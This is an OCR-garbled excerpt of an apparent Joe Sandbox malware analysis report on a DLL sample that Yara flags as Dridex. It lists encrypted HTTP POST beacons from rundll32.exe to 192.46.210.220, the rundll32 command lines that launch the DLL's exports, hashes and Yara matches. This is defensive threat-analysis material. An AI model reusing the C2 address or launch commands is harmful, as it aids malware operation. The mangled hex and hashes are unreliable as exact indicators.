Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd 9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8¢ 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec €5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a8 38 b1 94 8e fc 27 0189 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(iIMFVz @*mRk7k7;Sg Arl]>pL2LeTc]#*ol+$.{5:lhkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:46 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
0556 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be 7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a838 b1 94 8efc27018900f27871a6 14 7a

Data Ascii: f\V?LsBRfoH(iIMFVz @*mRk7kV;Sg Arl]>pL2LeTc]#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:49 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP  Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 ¢9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a 7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c
a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:50 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 03:00:52 UTC 429

2021-10-28 03:00:53 UTC 433

Session ID Source IP

87 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:54 UTC 434

2021-10-28 03:00:54 UTC 434

2021-10-28 03:00:54 UTC 438

Session ID Source IP

88 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:56 UTC 439

2021-10-28 03:00:56 UTC 439

2021-10-28 03:00:57 UTC 443

Session ID Source IP

89 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:57 UTC 444

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50178

Direction

ouT

ouT

Source Port
50182

Direction
ouT

ouT

Source Port
50186

Direction

ouT

Data

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1la
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiIALmS#Qf$Z: [>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:53 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05
37 cd 3b 8¢ 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec 5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 €9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a8 38b1948efc27018900f27871a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:54 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 la
4998 d0 cd 3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:57 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 03:00:57 UTC 444

2021-10-28 03:00:58 UTC 448

Session ID Source IP

9 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:18 UTC 44

2021-10-28 02:58:18 UTC 45

2021-10-28 02:58:19 UTC 49

Session ID Source IP

90 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:01:00 UTC 449

2021-10-28 03:01:00 UTC 449

2021-10-28 03:01:00 UTC 453

Code Manipulations

Statistics

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49791

Direction

ouT

ouT

Source Port
50190

Direction
ouT

ouT

Data

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd 9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8¢ 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec €5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢c
a8 38 b1 94 8e fc 27 0189 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(iIMFVz @*mRk7k7;Sg Arl]>pL2LeTc]#*ol+$.{5:lhkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:58 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
0556 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be 7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a838 b1 94 8efc27018900f27871a6 14 7a

Data Ascii: f\V?LsBRfoH(iIMFVz @*mRk7kV;Sg Arl]>pL2LeTc]#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:19 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 la
4998 d0 cd 3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:01:00 GMT
Content-Type: text/plain; charset=utf-8
Connection: close
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Behavior

)

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 6384 Parent PID: 4456

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

04:56:54

28/10/2021
C:\Windows\System32\loaddll32.exe

true

loaddlI32.exe 'C:\Users\user\Desktop\Securitelnfo.com.Variant.Razy.980776.8232.dll'
0xaa0000

893440 bytes
72FCD8FBOADC38ED9050569AD673650E
true

true

C, C++ or other language

e Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source:
00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source:
00000000.00000003.478698643.0000000001270000.00000040.00000001.sdmp, Author:

Joe Security
Reputation: moderate
File Activities Show Windows behavior
File Created
Analysis Process: cmd.exe PID: 6396 Parent PID: 6384
General
Start time: 04:56:55
Start date: 28/10/2021
Path: C:\Windows\SyswWOWe64\cmd.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

true

cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\Securitelnfo.com.Variant.Razy.980
776.8232.dII'#1

0x2a0000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

high

Show Windows behavior

Analysis Process: rundll32.exe PID: 6408 Parent PID: 6384

Copyright Joe Security LLC 2021
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General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

04:56:55

28/10/2021
C:\Windows\SysWOW64\rundll32.exe

true

rundll32.exe C:\Users\user\Desktop\Securitelnfo.com.Variant.Razy.980776.8232.dll,Bluewing
0x1340000

61952 bytes
D7CA562B0DB4F4DDOF03A89A1FDAD63D
true

true

C, C++ or other language

e Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source:
00000002.00000003.433688939.0000000004C00000.00000040.00000001.sdmp, Author:

Joe Security
Reputation: high
File Activities Show Windows behavior
Analysis Process: rundll32.exe PID: 6424 Parent PID: 6396
General
Start time: 04:56:55
Start date: 28/10/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

rundll32.exe ‘C:\Users\user\Desktop\Securitelnfo.com.Variant.Razy.980776.8232.dIlI' #1
0x1340000

61952 bytes

D7CA562B0DB4F4DDOF03A89A1FDAD63D

true

true

C, C++ or other language

e Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source:
00000003.00000002.898148863.000000006EFE1000.00000020.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source:
00000003.00000003.435699567.0000000000610000.00000040.00000010.sdmp, Author:

Joe Security
Reputation: high
File Activities Show Windows behavior
File Created
Analysis Process: rundll32.exe PID: 6464 Parent PID: 6384
General
Start time: 04:56:59
Start date: 28/10/2021
Path: C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit): true
Commandline: rundll32.exe C:\Users\user\Desktop\Securitelnfo.com.Variant.Razy.980776.8232.dll,Earth
Imagebase: 0x1340000
File size: 61952 bytes
MDS5 hash: D7CA562B0DB4F4DDOF03A89A1FDAD63D

Has elevated privileges:

Has administrator privileges:

Copyright Joe Security LLC 2021

true

true
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Programmed in:

Yara matches:

C, C++ or other language

e Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source:
00000004.00000003.467247040.0000000004B00000.00000040.00000001.sdmp, Author:

Joe Security
Reputation: high
File Activities Show Windows behavior
Analysis Process: rundll32.exe PID: 6480 Parent PID: 6384
General
Start time: 04:57:06
Start date: 28/10/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

Disassembly

Code Analysis

Copyright Joe Security LLC

Copyright Joe Security LLC 2021

true

rundll32.exe C:\Users\user\Desktop\Securitelnfo.com.Variant.Razy.980776.8232.dll,Masterjus
t

0x1340000

61952 bytes
D7CA562BODB4F4DDOF03A89A1FDAD63D
true

true

C, C++ or other language

e Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source:
00000005.00000003.475590656.0000000000DE0000.00000040.00000001.sdmp, Author:
Joe Security

high

Show Windows behavior

Joe Sandbox Cloud Basic 33.0.0 White Diamond
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